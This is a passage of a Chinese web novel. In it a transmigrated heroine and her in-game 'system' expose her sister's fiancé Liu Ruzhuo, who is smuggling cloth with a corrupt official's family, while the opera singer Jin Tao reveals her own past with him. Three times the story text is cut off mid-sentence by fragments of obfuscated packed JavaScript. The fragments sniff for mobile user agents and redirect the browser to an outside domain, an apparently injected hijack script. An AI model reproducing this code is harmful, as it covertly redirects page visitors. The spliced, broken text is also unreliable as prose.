不多时,便听见庙会那头的戏台上传来咿咿呀呀的唱腔,正是金桃在唱《牡丹亭》。 杜含章眼睛一亮,欣喜道:“还好没错过,正好赶上了。” 柳如琢看了眼戏台,却忽然神色微乱:“不如……我们再去别处逛逛?” 杜含章却道:“我的脚还有些痛,不如坐下来歇一歇。况且今天上演的,是《冥誓》那一折……” 说罢,她有些不好意思地低下头。 只因这一折的名段,正是柳如琢留给她的情话——生同室,死同穴,口不心齐,寿随香灭。 柳如琢眼底闪过不易察觉的迟疑,但还是陪她坐下。 戏台上,演到高潮,杜丽娘与柳梦梅拜天地,唱词婉转缠绵: “神天的,神天的,盟香满艺。柳梦梅,柳梦梅,南安郡舍,遇了这佳人提挈,作夫妻。生同室,死同穴,口不心齐,寿随香灭。” 杜含章看的心潮澎湃,不禁眼眶微红。 可柳如琢却神色闪躲,仿若置身戏外。 而不远处的姜婋发现了柳如琢的异常,对系统道:“奇了怪了,柳狐狸不是一直自称喜欢《牡丹亭》吗?怎么看戏看得心神不宁?” 系统:“那一定是戏台上,有人牵动着他的情绪。” 姜婋眯了眯眼,直觉这里面肯定有蹊跷。 * 就在这时,前方忽然一阵喧哗人动,竟见卢子敬带着一伙人大摇大摆往戏台方向逼近。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208512|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜婋脸色一变,心道不好,忙问系统:“这瘟神怎么来了?” 系统:“玩家,上回你与金桃联手教训卢子敬,已埋下因果,展开新的故事线。此次他带人前来,意图报复,来者不善,还望玩家小心应对。” 台下,卢子敬已叉腰叫嚣起来:“好你个唱戏的!上回你跟那疯女人合谋,拿水袖甩我,让本少爷丢尽颜面,今天我就来好好教训教训你!” 台上,戏声陡止,金桃一时慌了神。 杜含章急切地拉住柳如琢的衣袖:“如琢,你快制止他!” 柳如琢脸色微变,低声道:“你可知那人是谁?” 杜含章没料到他会这么问,一时愣住。 柳如琢眉头紧锁:“他是市舶提举大人的二公子,正是我顶头上司的儿子,这事……我确实不宜出面。” 杜含章心急:“可我们不能就这么眼睁睁看着不管啊!” 柳如琢压低声音:“含章,多一事不如少一事。此事本就与你无关,我们何必插手?” 那一刻,杜含章僵住。 她望着柳如琢,忽然觉得陌生。 “谁说与我无关?” 杜含章轻声开口,却铿锵有力:“金桃是我的朋友。” 说罢,她不再犹豫,径直走向戏台前。 “卢公子——” 她朗声道:“这里是庙会,大家都来看戏的,你为何要搅人清净?” 卢子敬见杜含章走来,眼前一亮,嘴角泛起轻佻之笑。 “哟,这不是杜家大小姐吗?听说你快嫁人了,怎么还有空替戏子出头?莫非你还没过门,就迫不及待给你未来夫君挑小妾啦?哈哈哈!” “你——” 杜含章哪被这样羞辱过,气得不知该如何反驳。 这时,柳如琢终于快步上前,挡住杜含章身前:“卢公子,请慎言。” 卢子敬目光一扫,语带讥刺:“我当是谁呢?原来是每日在我爹跟前点头哈腰的狗腿子?柳如琢,你别以为爬进市舶司,就真成什么角儿了。今天是我与这小娘子的私仇,你识相的,就给我滚一边去吧!” 柳如琢嘴角微抽,眼底仿佛在权衡着什么。 这一幕,被杜含章尽收眼底,那个曾在她心里英姿挺拔的身影,此刻却如此沉默。 见无人敢拦,卢子敬愈发放肆,直接爬上戏台,揪住金桃的衣袖喝道: “你个唱戏的贱骨头,小爷看上你,是你八辈子修来的福分!上次你敢驳我面子,今天我让你下不了台!” 姜婋气得咬牙,正准备出手。 就在这时,响起一声怒斥——“我倒看看是谁让谁下不了台!” 姜婋转头望去,只见翠翘一袭刀马旦劲装,持穆桂英长枪,从后台杀出。 她手中长枪一挑,硬生生将卢子敬逼退几步。 卢子敬脚下踉跄,竟被衣袍绊住! “哎哟——” 他惨叫一声,重重摔下戏台。 人群惊呼,场面顿时大乱。 卢子敬痛得直翻白眼,怒吼道:“你们还愣着干什么?给我上,抓住这两个下九流的臭戏子!” 小厮们刚欲扑上,忽听“砰”地一声炸响,一团白烟腾地冒起,夹着呛鼻的气味,眨眼间遮住了所有人的视线! 众人惊呼:“着火了!” 烟雾中,姜婋如鬼魅般窜上台,原来是她将杂耍摊位的喷粉扔在台上! 她一手拉住金桃,一手拽住翠翘,压低声音:“走!” 她带着两人穿过后台帘幕,消失于烟尘之中。 而此时的杜含章,站在原地,望着那道迅疾而熟悉的身影,心中又惊又喜。 她认出来了! ——是婋婋。 84.24 经历了这一晚的惊心动魄,杜含章心神不定地回到姐妹屋。直到看见翠翘和金桃,悬着的心才终于归位。 她急道:“婋婋,我在戏台上看见有人趁乱救走她们,就猜是你,便立刻赶回来了。金桃和翠翘,你们可还好?” 翠翘面色内疚:“我没事,只是金桃被那卢子敬推了一把,扭伤了脚。” 杜含章看着翠翘心生敬佩,没想到她为了保护自己的姐妹,竟能如此勇敢。 姜婋道:“你们躲在姐妹屋暂时安全,但也只是权宜之计。卢子敬这厮睚眦必报,上次他调戏金桃,我出手教训了他,结果他今日就带人去戏班闹事,今晚他又吃了一个大亏,定不会善罢甘休。” 翠翘倏地起身:“我一人做事一人当,要头一颗,要命一条!” 姜婋按住她:“这件事错的是卢子敬,不是你,你出手是为民除害。” 金桃也道:“是啊,卢子敬多次骚扰我,早就该收拾他。不如我们报官?” 姜婋摇头:“卢家在官场多年,人脉盘根错节。就算我们告到官府也没用,反而暴露了你们的踪迹。卢子敬敢如此嚣张,就是料定了官府不敢动他!” 杜含章思忖道:“既然如此,不如我去找柳如琢。卢子敬是市舶司提举的儿子,恰好如琢隶属其下,他或许能出面劝一劝。” 姜婋闻言,皱眉问道:“姐姐,今日金桃在台上受辱之时,你让柳如琢帮忙,他可有出手?” 杜含章语气微弱:“今日事发突然,他难免一时犹豫……我想,若从长计议,他一定能想到解决的办法。” 姜婋面色一凛:“姐姐,为什么遇事之时,你第一个想到的人是柳如琢,难道在你心中,最信任的人是柳如琢,而不是我这个妹妹?” “我……”杜含章忽地语塞。 姜婋眼神失望,转身离开。 杜含章怔在原地,她万万没想到,最终让婋婋生气的竟然是这一点。 * 院子里,夜风微凉。 姜婋一个人坐在屋檐上,望着天上的残月。 她咬着牙问:“系统,我能不能直接杀了卢子敬,一了百了?” 系统:“玩家,本副本背景为明代,按照《大明律》,蓄意杀人者需偿命。” 姜婋愤然:“我杀人需要偿命,卢子敬公然性骚扰女子,却可以毫无代价?” 系统:“这便是古代女子的困境。即便面对□□,若非誓死反抗,也常被判为通奸。所以许多女子遭遇侵犯后选择自尽,因为讨回公道,实在难于登天。” 姜婋沉默了片刻:“即便是现代社会,一个遭受性骚扰的女子若要维权也很困难。时间过去了这么多年,但女子的困境好像没变,只是换了种方式变着法的折磨女人。以前是缠足,现在是整容……反观男人,真是活得轻松。” 她忽然想到什么:“对了,今晚这么一个在女主面前出风头的绝佳场合,柳如琢却一直没出面。他不是男主吗?有「男主光环 buff 附体法则」,他怎么会怕卢子敬这个男二号?” 系统:“「男主光环 buff 附体法则」仅在剧情对男主有利时生效。若出手无益,甚至可能损害自身处境,则不会自动启动。假设柳如琢出面,必然会得罪卢家。换言之,他不是怕卢子敬,是怕卢家。而且,这段剧情并非原小说设定,而是由玩家亲手触发的因果支线。所以男主的反应,不受原文驱动,而是他自身的判断。” “原来如此……我还以为他的男主光环失效了呢。” 姜婋撑着下巴,低声嘀咕:“不过柳如琢看戏时的反应也太奇怪了……该不会,还有什么我不知道的情节吧?” * 正在这时,院中传来一声轻唤:“婋婋。” 她回头,见杜含章正沿着楼梯走上来。 自从发现屋顶是聊天谈心的好地方,姐妹们便修了条楼梯方便通行。 杜含章走上来,挨着姜婋并肩而坐。 月色照人,风声无言。 杜含章犹豫了片刻,问道:“婋婋……你是不是在生姐姐的气?” 姜婋不假思索:“是啊,我在生你的气。” 杜含章低下头:“我下次遇事,一定第一个想到你。” 可姜婋却语锋一转:“姐姐,我真正生气的,不是你想到柳如琢——而是你对自己不坦诚。” 杜含章蹙眉不解。 姜婋道:“今晚你请柳如琢出手,但他退缩后,你没有选择去看清这个人,而是拿自己的想象去美化他,维护他。我生气的是,你这是在欺骗你自己。 ” 这番话像一把钝刀,劈开那尊金漆塑像的伪装。 可金像之下过于狼狈,杜含章还是选择相信自己为柳如琢镀上的完美金身。 “今日之事……如琢确实有欠妥当。” 杜含章维护道:“但他刚入官场,卢子敬又是他顶头上司之子,左右为难也能理解。我明日去劝劝他,我相信他一定会帮忙的。” 姜婋直言:“可我不相信他。不仅是他,我不相信任何男人。因为我们女性之间有相似的情感体验,有相通的人生困境,我们能感同身受。可对柳如琢来说,金桃、翠翘不过是与他不相干的戏子。你让我相信,他会真心去帮她们?” 她沉了口气道:“当然,若你执意要去找他帮忙,我不会拦你。但无论结果如何,我只希望你——认清现实,不要再骗自己了。” 杜含章沉吟,点了点头。 * 翌日清晨,杜含章就去柳宅找柳如琢。 柳如琢听完她的请求,神色微凝:“我听说昨夜卢子敬伤得不轻,卢家震怒,如今满城风雨,官府已经贴出告示,通缉那伤人的戏子。此事非同小可,含章,你还是莫要再牵扯进去为好。” 杜含章急道:“可卢子敬是咎由自取!金桃与翠翘不过是自保而已。她们都是可怜的女子,如今被逼到这般境地,若再没人伸出援手,她们就真的走投无路了!不管要付出什么代价,我都要救她们。” 柳如琢闻言,心中衡量:“你说的‘不管任何代价’,可是认真的?” 杜含章重重点头。 柳如琢忽地语气一变:“此事倒也不是毫无转圜,为了你,我愿尽力一试!” * 另一边,姜婋从姐妹棉庄匆忙赶回姐妹屋时,却发现门口已围了一圈官兵。姐妹屋的女子们拦在门前,两边剑拔弩张,气氛紧张。 她忙问:“发生什么事了?” 一位姐妹迎上来道:“婋婋姐,他们非说屋里藏着逃犯,要进来搜查。可咱们姐妹屋向来是不许男子踏入的。” 领头的官兵道:“昨夜有人刺伤卢家二公子,逃到这附近,我们只是例行排查。” 姜婋挺身站到众人前面:“这位差爷,怕是您不清楚,我们这里名为‘姐妹屋’,屋中住的都是此生不嫁的自梳女,一向不许男子踏入半步。你们若是擅闯,便是污了我们的清白。按照《大明律》,污女子清白者,什么刑罚,你该比我更清楚。” “当然,你们若要硬闯,我们也拦不住,但你们必须承担后果。若真搜出了逃犯,我任凭你们处置。可倘若你们没搜到,冒然闯进来污我们姐妹的清誉,你们就要接受处罚!” 那群官兵一时面面相觑,为了一个逃犯,把自己的前程搭进去,确实划不来。 姜婋又道:“华亭每日案子无数,偷盗抢劫的你们不抓?卢二公子调戏在前,女子奋起反抗倒成了罪人。你们这么卖命地通缉她,还不如抓一抓这沿街的小偷,我们姐妹棉庄前几天丢了布匹,我报了官至今无人受理。怎么卢二公子的命是命,我们的命就不是命吗?” 领头官兵上前怒喝:“你怎么说话呢?” 姜婋不卑不亢:“我说的是事实,不然你问一问这些围观的百姓,他们报了官之后,你们有认真受理吗?” 人群里果然炸开不满: “我家前天丢了只猪,报了官也没人来!” “是啊,我开的铺子昨天被抢,到现在也无人受理……” “怎么只要卢家出事,你们就倾巢而出,我们平头百姓的事,你们就不管不顾?” 一时之间,民声鼎沸,怨言如潮。 官兵们脸色愈发难看,只好先撤了。 姜婋望着他们离开,却仍隐隐不安,看来要想办法让翠翘尽早离开这里。 * 杜含章在府中焦灼地等了一整天,直到夜色深沉,柳如琢才从外头回了府。 她忙迎上前,迫不及待地问:“如琢,事情怎么样了,可有眉目?” 柳如琢连声叹气:“这事确实棘手,我费了不少唇舌,总算劝动卢家松口,但是卢子敬受了重伤,卢家想要一笔赔偿。” 见事情有了解决的办法,杜含章急道:“要多少钱?我一定尽力筹。” 柳如琢报出一个数字。 杜含章霎时瞪大了眼:“这么多?就算我把杜记棉庄卖了,也未必能凑出来……” 柳如琢轻声安抚:“含章,你那么聪明,怎么还没听懂卢家的真正意思?” “真正的意思?”杜含章不解。 柳如琢道:“在官场里,很多话你要听三分猜七分。卢家狮子大开口,要这么一大笔钱,其实并不是指望你真拿得出来。你若真凑出了这笔钱,他们反倒要怀疑你了。” 杜含章蹙眉:“那他们到底想要什么?” 柳如琢望着她,语气意味深长:“根据我的推测,卢家真正想要的是杜记棉庄。” “什么?!” 杜含章奇怪道:“卢家是官宦人家,何必盯着我这一小小的棉庄呢?再说了,卢家为官,也不能直接经营棉庄啊……” “含章,你这话说得太天真了。” 柳如琢摇头笑道:“谁会嫌钱多呢?卢家不图明面经商,只是想找个稳妥的收益口子罢了。比方说,每年将杜记棉庄抽出一定比例的分红,分给卢家算作‘谢礼’。只要这笔账做得漂亮又干净,既能了却这件事,又能结交卢家,何乐而不为呢?” 杜含章低头沉思:“可杜记棉庄自爹娘创立以来,从未与官家做过这样的交易……” 她实在是说不出来那个词——官商勾结。 “那是因为以前你们还没与官府搭上线,但如今你有了我……” 柳如琢说着拉着杜涵章的手: “你早晚都是我们柳家人,有我在,棉庄的事就不必你操心了。不如这样,你把棉庄的掌印交给我,我来设法与卢家谈一谈。” 杜含章愣住:“你要掌印?” “当然,今日我两手空空去谈,卢家哪肯松口?但若我手上握着棉庄的掌印,拿出诚意,他们也会收敛几分。” 见杜含章神色迟疑,柳如琢语气愈发温柔:“含章,你别担心。你迟早要嫁进柳家,你的就是我的,我的也是你的。况且,我娘也不愿你抛头露面,棉庄生意交给我舅舅打理再合适不过,他在松江人脉广,也识得货。家业重担,岂能让你一个妇道人家独自扛着?你不如早早卸下,回归本位,这样你也可以不那么辛苦。” 这番话,说得婉转得体,看似处处为她设想,实则以退为进,暗藏钳制。 杜涵章隐隐觉得有什么不对,半晌,她终于听懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜婋听罢,沉默片刻道:“杜记棉庄已经分家,姐姐名下的产业,自然由姐姐自己做主。若你真决定要交出掌印,我也不会拦你。” 她话音刚落,金桃与翠翘对视一眼。 金桃开口道:“含章姐,婋婋姐……我们两个不过是戏子出身,哪值得你们为我们交出自己的棉庄?不如你们把我们交出去吧,我们认了。” 翠翘起身道:“毕竟是我伤了人,此事与金桃无关,就把我一人交出去。” 姜婋斩钉截铁道:“金桃,翠翘,你们既然进了姐妹屋,我们就是姐妹。同生死,共进退。” 杜含章道:“是啊,人命关天,哪能谈值不值得?再说了,只是每年从棉庄中抽取一定分红交给卢家而已,况且,我和柳如琢已有婚约,也不过是提前成婚罢了……我心意已决,交出掌印。” 姜婋神色平静,仿佛早已料到:“好,既然姐姐主意已定,那我也没什么好说的。我这就去取掌印来。” 不多时,她取回一个印盒,郑重其事地交到杜含章手中。 “姐姐,这是你的掌印。你交给柳如琢时,还望提醒他记得今日之约。明日城中,不应再有通缉翠翘的告示。” 杜含章点头,语气笃定:“你放心,如琢答应了我,我信他一定会说到做到。” * 杜含章离开后,系统问道:“玩家,你居然没有阻止女主?” 姜婋道:“怕什么!反正我给的是假掌印。就算日后出事,那也是柳如琢偷印顶替,跟我姐姐无关。没想到我在上一个副本练出来的造伪手艺,在这儿还能派上用场。” 系统安静了几秒:“所以说,都不白学。” “我奇怪的是,柳如琢居然真的答应要帮忙。” 姜婋皱眉道:“按你说的,男主应该只会做对自己有利的事。既然他认定杜记棉庄迟早归他,为何这次急于求成还主动说情?除非……他和卢家之间另有交易。看来我得去调查一下!” * 柳如琢倒也说到做到,倒真是说服卢家,撤掉了通缉翠翘的告示。 不过姜婋又怕卢家反悔,她找到金桃和翠翘,商议道:“卢家虽然暂时放了翠翘,但难保他们不会出尔反尔,眼下最保险的是,翠翘赶紧离开华亭。” 翠翘低下头道:“可我无处可去……我小时候家里穷,所以被卖进戏班,我早就没家了……” 姜婋拉住她的手:“你放心,我已经为你想到了好去处。我在顺德有一处蚕园,你去了之后找那里的管事巧珠,告诉她是我让你去的,她会安顿好你。” 翠翘听完,双膝一跪:“多谢婋婋姐,此等大恩大德,我翠翘定以命相报!” 姜婋连忙将她扶起:“你的命不用报给我,你就好好留着这条命,去了顺德,你就自由了。” 金桃强撑着站起身道:“我和翠翘一起走!” 姜婋摇头道:“你脚伤未愈,现在赶路不利于恢复。再说了,你曾做过杜记棉庄的代言人,你们两个一起走,目标太明显,难保卢子敬那厮会不会伺机报复。不如等你养好了伤,再去找翠翘。” “可是……”金桃看着翠翘,满眼不舍。 翠翘拉住金桃的手:“傻妹子,你留在姐妹屋才是最安全的,况且卢家通缉的是我,你又何必离开这里?” 金桃眼眶一红:“可你被通缉也是因为我啊,我俩自幼在戏班子相依为命,从未分开过……” 姜婋安慰道:“你放心,不久后,我们也得去找顺德找翠翘汇合的。” 金桃抹泪,眨巴着大眼睛问:“真的吗?” 姜婋笑道:“真的。翠翘走出去,才更安全。” * 当晚,姜婋连夜送走翠翘。 其实她也不知道,翠翘未来的命运如何,因为在原小说里,她只是一个没有台词的 NPC 而已。 姜婋望着她渐渐远去的背影,心中默默为她祈祷,只愿她能平安抵达顺德,像马香兰和妙真那样,改写自己的命运,走出一条只属于自己的路。 85.25 自从杜家与卢家谈妥交易,柳如琢作为中间人,因要处理酬金与分红之事,顺势将与杜含章的婚事也提上了日程。 「浪漫爱世界」急于推动男女主成婚,竟连杜老爷的丧期也顾不得,更不管马香兰此时不在华亭。 但姜婋始终觉得蹊跷,柳如琢为何这般急切推进婚事?她便安排姐妹屋的姊妹,时刻盯紧柳宅与棉庄。 * 而另一边,杜含章也着手筹备婚事。 只是此时的她,已没有当初被柳如琢求婚时那般心动。虽说婚约已定,成亲是早晚的事,但如今因交易而被推进,终究觉得心中扎着一根刺。 不过,婚姻又何尝不是一场交易呢? * 好在金桃也在姐妹屋中养伤,杜含章与她彼此作伴。两人常就《牡丹亭》探讨一二,时而低声唱和,时而秉烛夜谈,竟不觉疲倦。 姜婋见状,还忍不住吃醋:“姐姐待同担,比我这个亲妹妹还好。” 杜含章不解:“何为同担?” 姜婋笑道:“就是喜欢同一个人,或同一部作品的人。像你们这样,就叫同担或者追星姐妹。” 杜含章虽未完全明白这两个词的含义,却也点头认同。 她与金桃相识不久,但二人因都爱杜丽娘,而心意相通,竟生出一种旁人难以介入的感情。 因两人总有说不完的话,杜含章还提议,仿照当年与姜婋编撰《新·列女传》那般,邀金桃一同为《牡丹亭》做批注。 * 这日,两人正批注至最喜欢的一折《写真》。 读到杜丽娘对镜自画之时,杜含章忽然想起姜婋曾问她的问题: “姐姐,你喜爱《牡丹亭》,那你说,杜丽娘到底是爱梦里的柳梦梅?还是现实中的柳梦梅?” 这个问题,杜含章一直没想明白。 她便转头问:“金桃妹妹,你说杜丽娘喜欢的,是梦中的柳梦梅,还是现实中的柳梦梅?这是我妹妹问我的,我至今也没想清楚。” 金桃想了想:“含章姐姐,你纠结于梦中的柳梦梅还是现实的柳梦梅,其实并不重要。” “……不重要?” “对啊。我演了那么多次杜丽娘,跟我唱戏的,今日是这个小生,明日是那个小生,就像故事里一样,任凭他是柳梦梅、张梦梅、陈梦梅,其实并不重要。他不过是被杜丽娘选中的人罢了,而杜丽娘之所以选中他,是因为她渴望一个理想的自我。” “理想的自我……”杜含章喃喃。 金桃点头道:“杜丽娘心中一直有个理想的自我,所以她用爱情的方式把他召唤出来,结果发现这个理想的自我在闺阁中,甚至在这个世道都无法存在,于是杜丽娘抑郁而死,这是她的对抗衰老和死亡的一种方式。” 说到此处,金桃悠悠唱道:“若不趁此时自行描画,流在人间,一旦无常,谁知西蜀杜丽娘有如此之美貌乎!可甚的红颜易老?论人间绝色偏不少,等把风光丢抹早。” 这正是杜丽娘对镜自画的唱段。 金桃唱罢,说道:“含章姐姐,你想啊,杜丽娘对镜自照之时,她画的是自己,而不是柳梦梅。她忧虑的是红颜易老,福分难消,而不是柳如琢何时出现。” 忽然,杜含章像被什么击中似的,恍然道:“对啊……如果杜丽娘那么爱柳梦梅的话,她难道不应该凭借着梦中的样子画出柳梦梅的画像吗?但是杜丽娘并没有,她画的是她自己。” 金桃点头:“所以,杜丽娘始终苦苦寻找的人,从来都不是柳梦梅,而是她自己。柳梦梅也好,张梦梅也罢,这些人都不过是杜丽娘选中的投射罢了。” 刹那间,一股前所未有的情绪涌了上来。 杜含章心中震荡:“金桃……你说得真好。” 金桃倒有些不好意思:“含章姐姐,我书读得少,这些不过是演戏时偶有些感触,信口胡诌罢了。” 杜含章思考着她的话:“不,你这番话让我明白了,我喜欢这个故事的真正原因……” 她抬眼间,却瞥见金桃欲言又止的模样,问道:“怎么了?” 金桃犹豫片刻:“含章姐姐,我一直想问,你和柳公子是如何相识的?” 杜含章没多想,便将二人之事娓娓道来,回忆起柳如琢借《牡丹亭》暗喻二人关系时,她还害羞起来。 而金桃听着,却渐渐陷入沉思。 * 当夜,杜含章不由自主地坐到铜镜前,对镜自照。 她看着镜中的自己,忽然在想,杜丽娘照镜自画的时候在想什么呢? 杜含章又找出之前柳如琢送她的画像,她就是因这幅画而下定决心非他不嫁。可如今细细看去,那女子的眉眼,虽有些似她,又不全是她。画中人似乎更像是,柳如琢心中想要她成为的模样。 蓦地,她想起编撰《新·列女传》,画梁红玉时,婋婋说过—— “与其说,你是在画一幅画,不如说,你是在塑造万千女子心中所向往的‘她自己’。” 是啊,那不正与杜丽娘对镜自画,殊途同归吗? 想到此处,杜含章摊开宣纸,研好墨,想给自己画一幅画像。 可刚画出几笔,就顿住了,她明明自幼习画,笔法精湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229692|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可看着镜中自己,却怎么也画不出来了。 就在这时,素书走进来:“小姐,这是婚宴宾客的名单,还请过目。” “放那儿吧。” 杜含章抬眸又道:“素书,姐妹屋里只有姐妹,没有小姐,你又忘了?” 素书瘪瘪嘴:“我都叫习惯,改不过来了。反正等我和小姐去了柳府,还得改个叫法,叫您柳夫人呢!” 听到这个称呼,杜含章心头一颤。 素书见此道:“小姐和柳公子真是天作之合,可我怎么感觉小姐近日来好像有心事呢。” “怎么会呢?” 杜含章放下画笔,端起茶盏掩饰心中的不安。 她喝着茶,心想,自己即将拥有女子们梦寐以求的生活:有一个命中注定的夫君;有一个富裕体面的家族……还有什么心事呢? 就在她愣神间,不小心打翻茶盏,茶水撒在那幅未完成的自画像上,水痕渐渐晕开,把纸上的墨迹渗成一团模糊的灰影。 仿佛那个画中的真实自己,在还未成型之前,就被摧毁了…… * 深夜,杜记棉庄外一片寂静。 姜婋藏身于屋脊阴影之下,神色凝重。 自从杜含章交出掌印后,她便派姐妹屋的人昼夜盯紧棉庄。近日来,她们发现每当夜深人静时,棉庄都会悄悄运出一大批布匹,去向不明。 今晚,姜婋亲自前来探查,果然看见一队板车载着布匹驶出后门。 她远远尾随,一路跟至码头附近的市舶司仓库。 姜婋趁夜色潜入,发现里面都是出口南洋和日本的货物,而杜记棉庄的每一卷布匹都换上了新的封签! 直到这时,她才恍然大悟,原来柳如琢要夺走杜记棉庄的掌印,不只是为了控制棉庄,而是将布匹走私贩卖,联合卢家从中牟取巨额利润。 倘若东窗事发,柳如琢大可把所有罪责推给杜记棉庄,到时姐姐便会沦为替他背锅的牺牲品。 她攥紧拳头,咬牙道:“这柳狐狸真是狡猾至极……系统,原小说里怎么没写柳如琢违法走私?” 系统:“玩家,浪漫爱作品要维持男主的完美形象,就算他贩货走私也不会正面描写。只需说他‘商路通达’,‘财力雄厚’就够了。” 姜婋不屑道:“我看男主的完美形象,才是一袭爬满了虱子的华袍!我说原小说里,怎么自从女主和男主成亲后,杜记棉庄日进斗金,原来赚的都是黑钱!” 她说着,眼神一凛:“这件事必须要让姐姐知道,只可惜这里没有监控摄像头,我得想个办法找到让姐姐信服的证据!” 86.26 婚期将近,转眼便到了婚礼前夜。 这一晚,杜含章坐在灯下,细细检查着明日要穿的嫁衣。 忽然,一声闷响,房门被人一脚踹开。 只见姜婋身穿夜行衣,满身风尘,手臂上还带着一道血痕。 杜含章立刻起身:“婋婋!你去了哪?怎么还受了伤?” 姜婋冷声道:“这点伤不打紧。倒是姐姐你,我有些话必须现在就说,还望你有心理准备。” 她一开口,杜含章便觉出事情非同小可,正色问:“到底出了什么事?” 姜婋从怀中抽出两本账册,又卸下身后背着的一匹布。 “我今夜去偷了这几样东西,一本是杜记棉庄的账目,另一本是市舶司的出海布匹清单,还有一匹市舶司仓库中的出海棉布。请姐姐过目——” 杜含章接过账本,速速翻看,很快就从中发现了蹊跷。 以她打理棉庄的经验来看,每月售出的布料大致是什么范围,自有定数,如今却暴涨三倍,而这多出来的部分,却与市舶司的布匹清单正好吻合…… 她又拿起布匹,一摸便知正是杜记棉庄的布料,但上面挂着市舶司出海的印签。 但此事关系重大,她虽心中生疑,却仍不敢贸然下结论。 直到姜婋说道:“姐姐,这段时间,我一直派人盯着棉庄和市舶司。我通过探查发现,柳如琢之前以说服卢家为由拿走掌印,根本就是他的借口,他真正的目的,是与卢家联手,借杜记的名义走私布料,从中牟取暴利。” “我甚至怀疑,他根本就是利用金桃和翠翘之事,来做投名状,与卢家达成合作。姐姐你想啊,这件事一旦谈成,谁获利最大?正是柳如琢!他不仅不费力赚到钱,还攀上了顶头上司,与其利益捆绑,仕途也能一帆风顺。” 她语气一沉:“而且这份账目做得滴水不漏,若将来东窗事发,他便可把所有责任都归到杜记棉庄头上。到时受牵连的,只会是姐姐你!” 杜含章面如霜雪,她还是不愿相信:“可……如琢为何要这么做?这不是太冒险了吗?” 姜婋摇头道:“姐姐,你还是不了解柳如琢。他虽出身翰林,可早已家道中落。他父亲死后,他与母亲一直寄人篱下,过着仰人鼻息的日子。他比谁都明白,钱权的重要性。如今倭寇横行,官商勾结,走私泛滥。我推测柳如琢这条线上,肯定不止卢家,恐怕礼部、户部中也有人参与其中。只要分赃得当,哪怕日后有人查,也可层层遮掩,官官相护。” 见杜含章神情仍有犹疑,姜婋急了:“姐姐,你若不信,我现在就带你去市舶司的仓库,让你亲眼看看,那些堆积如山的走私布匹,是不是出自咱们杜记棉庄!” 她说着就要拉人,但杜含章却往后退了一步:“不——我、我相信。” 姜婋劝道:“姐姐既然信我,那明日这婚就不能结!” 杜含章却道:“可依《大明律》规定,女家若无故悔婚,须受笞刑五十。若我明知有婚约而故意拖延不嫁,也是要治罪的。” 姜婋咬牙道:“都到这个地步了,还管什么律法?大不了我们逃走,天涯海角也罢,我绝不让你嫁进狼窝!” 她死死抓住杜含章的肩膀:“姐姐,你若此时妥协,一旦进了柳家,只会更加身不由己,再无回头之路!” 刹那间,杜含章只觉脑中混乱极了。 浪漫爱那颗种子瞬间生长出无数柳枝,宛如一张大网将她困在其中,无法脱身。 她颤声道:“婋婋,此事非同小可,不止关乎我和你,更关乎整个杜记棉庄和所有织工伙计。你容我再仔细想想……” 姜婋还欲劝说,忽然脑中系统声音响起:“玩家,女主此刻情绪剧烈波动,你再劝下去恐怕会使女主逆反,为了避免降低你在女主心中的好感度,还是给她一些时间吧。” 她沉住气,放开手:“好吧。姐姐,你先想想,但千万别做出让自己后悔的决定。” * 姜婋离开后,杜含章坐回案前,重新翻阅两本账册,陷入了沉思。 难道这就是她梦寐以求的生活吗? 若她从未知晓真相,明日如期出嫁,或许真的能成为旁人眼中艳羡的“柳夫人”。 可偏偏,她知道了,又偏偏,她无法假装不知…… * 就在这时,门外传来轻轻的敲门声。 她以为是婋婋,起身开门,却见来者是金桃。 “含章姐姐……” 金桃眼神担忧,“我刚才听到你和婋婋姐好像在争执,可是发生了什么事?” 杜含章强撑精神:“没什么,是不是扰你休息了?” 金桃走进来道:“我也睡不着,只是……有件事情搁在我心里,不知道该不该告诉你……” “什么事?” 金桃仿佛下定了很大的决心,才开口道:“其实,我和柳公子很早以前就认识了。” 杜含章一怔:“你们认识?那为什么如琢却没有跟我说过?” 金桃垂眸:“也许柳公子想装作不认识我,我也就没有拆穿他。” “这话什么意思?” 金桃深吸一口气,像是陷入回忆:“两年前,我随戏班来华亭演出,当时我唱的也是《牡丹亭》。那时柳公子很喜欢我唱的戏,我们一见如故,经常在一起聊戏看戏……” 说到此处,她的目光却渐渐暗了下去,看着杜含章道:“那时,柳公子也把我比作杜丽娘。他还说,我们因《牡丹亭》相识。若说此中全无缘分,恐怕连书中人也不信了。” 闻言,杜含章脸色骤变,忽地回忆起来,二人初遇之时…… 柳如琢道:“倒真是巧了。小姐姓杜,在下姓柳,皆非常见之姓,却偏在此处,因一本《牡丹亭》而遇。若说此中全无缘分,恐怕连书中人也不信了。” 这正是当初柳如琢与她初见时的说过的话。 杜含章收回思绪,颤声问:“那……后来呢?” “后来我们的事,被他母亲发现。她不许我们往来,说我是戏子,配不上他。” 金桃叹了口气,“我们分开那日,他送了我一件东西。” “是什么?” 金桃道:“是一幅画像,那画像上还有一行字——“生同室,死同穴。口不心齐,寿随香灭。” 杜含章听罢,只觉耳边轰然作响。 